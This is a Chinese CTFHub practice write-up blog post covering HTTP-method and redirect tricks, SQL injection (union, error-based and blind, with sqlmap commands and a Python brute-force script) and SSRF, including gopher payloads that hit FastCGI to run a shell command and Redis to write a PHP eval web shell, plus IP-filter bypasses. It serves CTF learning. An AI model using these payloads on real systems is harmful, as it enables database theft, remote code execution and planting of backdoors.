ctfhub刷题记录(应该不更新了)

web前置技能

HTTP协议

请求方式

题目描述:HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。

进入主页,题目上的意思可能是让我们用CTFHUB的方法访问该网页,用curl -X CTFHUB或者burpsuite改方法都可以

302跳转

题目描述:HTTP临时重定向

题目里说flag不在这里,也就是说不在index.html里,点击give me the flag跳转到index.php去,但网页里没有flag,直接抓包或者curl -i都可以看到index.php里的flag

Cookie

题目描述:Cookie欺骗、认证、伪造

Sql注入

整数型注入

1 order by 2 判断表的字段个数

2有3没有,显然表的字段个数为2.

-1 union select 1,database() 爆库

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() 爆表,爆出来flag和news两个表,显然flag在flag表里

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=’sqli’ and table_name=’flag’ 爆字段

-1 union select 1,flag from flag 拿flag表里flag字段下的数据

字符型注入

字符型注入和整数型注入差别便出来了,这里相当于是字符1,所以有括号,而上面是数字1,不过从我们攻击者的角度主要差别也就是这个单引号了,注意闭合和注释即可,注入流程几乎同上。

1′ order by 2 # 判断表的字段个数

显然字段个数同上,为2。

-1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 爆表

-1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’flag’ # 爆flag表里的字段

-1′ union select 1,flag from flag #

报错注入

可以看到现在如果输入正确的数字,他会显示查询正确,而如果输入错误,他则会显示错误信息,比如这里他就会说字段dingzhen在’where clause’不存在,因此我们可以利用这一点用显示的报错获取敏感信息。

id=1 and extractvalue(1,concat(‘^’,(select database()),’^’)) 爆库(这里在报错中之前执行了select database(),让我们获得了库名,这就是我们的利用点)

1 and updatexml(1,concat(‘^’,(select table_name from information_schema.tables where table_schema=’sqli’ ),’^’),1) 爆表

它说显示内容不能超过一行,所以我们要在库名后面用limit 0,1限制显示第一行,用limit 1,2即第二行

1 and updatexml(1,concat(‘^’,(select table_name from information_schema.tables where table_schema=’sqli’ limit 0,1 ),’^’),1) 真*爆表

第二个表就不演示了

1 and updatexml(1,concat(‘^’,(select column_name from information_schema.columns where table_name=’flag’ and table_schema=’sqli’ limit 0,1 ),’^’),1) 爆字段

1 and updatexml(1,concat(‘^’,(select flag from flag limit 0,1 ),’^’),1) 爆字段下的内容

右边少了一个括号,补上就是完整的flag

布尔盲注

可以看到现在输入id页面里只会显示查询成功还是失败,没有明显的回显,但我们可以用二分法来判断每个字母。

这个题可以直接用sqlmap,简单的批爆

sqlmap -u "url" --dbs 
sqlmap -u "url" -D [上一步得到的数据库名] --tables
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] --columns 
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] -C [上一步得到的列名] --dump

或者也可以用写脚本来解决(网上找的)

import requests
import time

urlOPEN = 'http://challenge-a939293d6fe04bd8.sandbox.ctfhub.com:10800?id='
starOperatorTime = []
mark = 'query_success'


def database_name():
    name = ''
    for j in range(1, 9):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
            j, i)
            # print(url+'%23')
            r = requests.get(url)
            if mark in r.text:
                name = name + i

                print(name)

                break
    print('database_name:', name)


database_name()


def table_name():
    list = []
    for k in range(0, 4):
        name = ''
        for j in range(1, 9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('table_name:', list)


# start = time.time()
table_name()


# stop = time.time()
# starOperatorTime.append(stop-start)
# print("所用的平均时间: " + str(sum(starOperatorTime)/100))


def column_name():
    list = []
    for k in range(0, 3):  # 判断表里最多有4个字段
        name = ''
        for j in range(1, 9):  # 判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                k, j, i)
                r = requests.get(url)
                if mark in r.text:
                    name = name + i
                    break
        list.append(name)
    print('column_name:', list)


column_name()


def get_data():
    name = ''
    for j in range(1, 50):  # 判断一个值最多有51个字符组成
        for i in range(48, 126):
            url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
            j, i)
            r = requests.get(url)
            if mark in r.text:
                name = name + chr(i)
                print(name)
                break
    print('value:', name)


get_data()

SSRF

内网访问

?url=127.0.0.1/flag.php

直接构造即可访问flag,后端代码应该是以服务器请求网页,所以我们这里请求127.0.0.1/flag.php即可获得内网的资源

伪协议读取文件

file:// 协议
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

http/s协议
作用:
探测内网主机存活

dict协议
作用:
泄露安装软件版本信息,查看端口,操作内网redis服务等

Gopher协议
作用:
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
?url=file:///var/www/html/flag.php

端口扫描

扫一下端口:

端口会变化的,做的时候自己去扫扫,8000到9000

POST请求

?url=file:///var/www/html/index.php
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?url=file:///var/www/html/flag.php
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

因为只能从127.0.0.1访问,我们可以想到index.php里那个curl函数,先获得key,然后POST得到的key即可:

?url=127.0.0.1/flag.php

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=78806c38ff272b57b63f8344f8df9fdd-->
</form>
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=78806c38ff272b57b63f8344f8df9fdd
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=78806c38ff272b57b63f8344f8df9fdd

然后把并把%0A替换成%0d%0A,结尾加上%0d%0A,并且末尾要加上%0d%0a(\r\n)

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=78806c38ff272b57b63f8344f8df9fdd%0d%0a

然后再编一次码

gopher://127.0.0.1:80/_POST%2520%2Fflag.php%2520HTTP%2F1.1%250d%250AHost%3A%2520127.0.0.1%3A80%250d%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250d%250AContent-Length%3A%252036%250d%250A%250d%250Akey%3D78806c38ff272b57b63f8344f8df9fdd%250d%250a

上传文件

访问?/url=127.0.0.1/flag.php,改前端增加提交按钮

<input type="submit" name="submit">

上传后提示我们只能从127.0.0.1上传,用gopher协议伪造从127.0.01post一个文件的包即可

import urllib.parse


payload =\
"""
POST /flag.php HTTP/1.1
Host: challenge-c30322a8a90c0c06.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2444789648817313102994520886
Content-Length: 354
Origin: http://challenge-c30322a8a90c0c06.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-c30322a8a90c0c06.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------2444789648817313102994520886
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

11111
-----------------------------2444789648817313102994520886
Content-Disposition: form-data; name="submit"

提交查询
-----------------------------2444789648817313102994520886--
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       
http://challenge-c30322a8a90c0c06.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-c30322a8a90c0c06.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A109.0%2529%2520Gecko/20100101%2520Firefox/112.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------2444789648817313102994520886%250D%250AContent-Length%253A%2520354%250D%250AOrigin%253A%2520http%253A//challenge-c30322a8a90c0c06.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-c30322a8a90c0c06.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------2444789648817313102994520886%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A11111%250D%250A-----------------------------2444789648817313102994520886%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------2444789648817313102994520886--%250D%250A

最后,上传txt的解析会出问题,不知道为什么,所以建议上传php

FastCGI协议

用gopherus即可:

然后对_后面的payload进行一次url编码

?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

Redis协议

?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bcmd%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

对_后面进行编码。

URL Bypass

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass

十进制被ban了换其他进制即可

八进制:0177.000.000.001
十进制:127.0.0.1
十六进制:0x7f000001
?url=0x7f000001/flag.php

302跳转 Bypass

?url=file:///var/www/html/flag.php
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    exit;
}

echo getenv("CTFHUB");
?url=file:///var/www/html/index.php
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$url = $_REQUEST['url'];

if (preg_match("/127|172|10|192/", $url)) {
    exit("hacker! Ban Intranet IP");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

虽然这里ban了127|172|10|192,但绕过方法挺多的,可以用/?url=0/flag.php,因为0在linux指向127.0.0.1,在windows指向0.0.0.0,也可以用?url=localhost/flag.php,当然正统做法是找个网站放个302网页跳转向127.0.0.1

<?php
header("Location:http://127.0.0.1/flag.php");
?>
?url=http://121.36.193.62/403.php

DNS重绑定 Bypass

?url=http://sudo.cc/flag.php
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇